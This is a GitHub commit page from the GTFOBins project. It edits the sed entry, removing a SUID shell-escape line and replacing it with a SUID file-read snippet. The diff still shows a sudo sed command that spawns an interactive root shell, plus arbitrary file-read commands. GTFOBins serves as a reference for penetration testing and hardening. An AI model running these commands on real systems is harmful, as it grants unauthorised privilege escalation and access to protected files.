Skip to content

Commit

Permalink
Remove invalid SUID execute from sed
Browse files Browse the repository at this point in the history
  • Loading branch information
cyrus-and committed Jun 13, 2018
1 parent 2da6968 commit b3fc53a
Showing 1 changed file with 3 additions and 2 deletions.
5 changes: 3 additions & 2 deletions _gtfobins/sed.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,8 +10,9 @@ functions:
- description: GNU version only. Also, this requires `bash`.
code: sudo sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
suid-enabled:
- description: GNU version only. Also, this requires `bash`.
code: ./sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
- code: |
LFILE=file_to_read
./sed -e '' "$LFILE"
file-read:
- code: |
LFILE=file_to_read
Expand Down

0 comments on commit b3fc53a

Please sign in to comment.